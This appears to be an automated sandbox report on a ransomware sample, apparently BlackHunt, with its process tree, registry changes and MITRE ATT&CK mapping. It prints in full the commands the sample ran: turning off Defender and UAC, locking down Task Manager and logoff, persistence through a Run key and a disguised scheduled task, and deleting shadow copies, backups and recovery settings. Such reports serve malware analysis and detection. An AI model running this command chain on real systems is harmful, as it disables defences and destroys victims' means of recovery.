PID 4020 wrote to memory of 3164	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	121
PID 3392 wrote to memory of 1336	3392	vssadmin.exe	124
PID 3392 wrote to memory of 1336	3392	vssadmin.exe	124
PID 4020 wrote to memory of 1384	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	128
PID 4020 wrote to memory of 1384	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	128
PID 4984 wrote to memory of 4836	4984	cmd.exe	132
PID 4984 wrote to memory of 4836	4984	cmd.exe	132
PID 2980 wrote to memory of 1096	2980	cmd.exe	186
PID 2980 wrote to memory of 1096	2980	cmd.exe	186
PID 2220 wrote to memory of 2004	2220	cmd.exe	135
PID 2220 wrote to memory of 2004	2220	cmd.exe	135

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
"C:\Users\Admin\AppData\Local\Temp\cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4296
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:4696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    PID:2908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:4420
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:4496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4240
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2220
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4388
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:2460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:4824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:3392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4564
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  - Adds Run key to start application
  PID:2908
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Modifies registry class
    PID:4496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:4392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe" /F
  2⤵
  PID:980
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4420
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4932
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4380
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1508
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    - Suspicious use of WriteProcessMemory
    PID:3392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2208
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3668
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1096
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:788
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3612
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5448

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:1336

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4412

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3272

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5284

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery